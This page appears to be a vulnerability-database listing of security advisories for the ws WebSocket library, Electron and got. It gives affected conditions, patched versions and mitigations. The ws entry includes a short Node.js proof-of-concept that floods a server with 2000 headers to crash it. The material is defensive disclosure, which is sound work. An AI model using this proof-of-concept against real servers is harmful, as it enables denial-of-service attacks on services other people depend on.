All the vulnerabilities related to the version 1.4.4 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or the maxHeaderSize
options so that no more headers than the server.maxHeadersCount
limit can be sent.server.maxHeadersCount
to 0
so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
Electron vulnerable to Heap Buffer Overflow in NativeImage
The nativeImage.createFromPath()
and nativeImage.createFromBuffer()
functions call a function downstream that is vulnerable to a heap buffer overflow. An Electron program that uses either of the affected functions is vulnerable to a buffer overflow if an attacker is in control of the image's height, width, and contents.
There are no app-side workarounds for this issue. You must update your Electron version to be protected.
v28.3.2
v29.3.3
v30.0.3
If you have any questions or comments about this advisory, email us at security@electronjs.org.
ASAR Integrity bypass via filetype confusion in electron
This only impacts apps that have the embeddedAsarIntegrityValidation
and onlyLoadAppFromAsar
fuses enabled. Apps without these fuses enabled are not impacted. This issue is specific to macOS as these fuses are only currently supported on macOS.
Specifically this issue can only be exploited if your app is launched from a filesystem the attacker has write access too. i.e. the ability to edit files inside the resources
folder in your app installation on Windows which these fuses are supposed to protect against.
There are no app side workarounds, you must update to a patched version of Electron.
27.0.0-alpha.7
26.2.1
25.8.1
24.8.3
22.3.24
If you have any questions or comments about this advisory, email us at security@electronjs.org
Electron vulnerable to out-of-package code execution when launched with arbitrary cwd
Apps that are launched as command line executables are impacted. E.g. if your app exposes itself in the path as myapp --help
Specifically this issue can only be exploited if the following conditions are met:
This makes the risk quite low, in fact normally issues of this kind are considered outside of our threat model as similar to Chromium we exclude Physically Local Attacks but given the ability for this issue to bypass certain protections like ASAR Integrity it is being treated with higher importance. Please bear this in mind when reporting similar issues in the future.
There are no app side workarounds, you must update to a patched version of Electron.
26.0.0-beta.13
25.5.0
24.7.1
23.3.13
22.3.19
If you have any questions or comments about this advisory, email us at security@electronjs.org
Electron context isolation bypass via nested unserializable return value
Apps using contextIsolation
and contextBridge
are affected.
This is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.
This issue is exploitable under either of two conditions:
contextBridge
can return an object or array that contains a JS object which cannot be serialized, for instance, a canvas rendering context. This would normally result in an exception being thrown Error: object could not be cloned
.contextBridge
has a return value that throws a user-generated exception while being sent over the bridge, for instance a dynamic getter property on an object that throws an error when being computed.The app side workaround is to ensure that such a case is not possible. Ensure all values returned from a function exposed over the context bridge are supported and that any objects returned from functions do not have dynamic getters that can throw exceptions.
Auditing your exposed API is likely to be quite difficult so we strongly recommend you update to a patched version of Electron.
25.0.0-alpha.2
24.0.1
23.2.3
22.3.6
If you have any questions or comments about this advisory, email us at security@electronjs.org
Electron affected by libvpx's heap buffer overflow in vp8 encoding
Heap buffer overflow in vp8 encoding in libvpx in Google Chrome prior to 117.0.5938.132 and libvpx 1.13.1 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Electron has ASAR Integrity Bypass via resource modification
This only impacts apps that have the embeddedAsarIntegrityValidation
and onlyLoadAppFromAsar
fuses enabled. Apps without these fuses enabled are not impacted.
Specifically this issue can only be exploited if your app is launched from a filesystem the attacker has write access too. i.e. the ability to edit files inside the resources
folder in your app installation on Windows which these fuses are supposed to protect against.
There are no app side workarounds, you must update to a patched version of Electron.
38.0.0-beta.6
37.3.1
36.8.1
35.7.5
If you have any questions or comments about this advisory, email us at security@electronjs.org
Got allows a redirect to a UNIX socket
The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.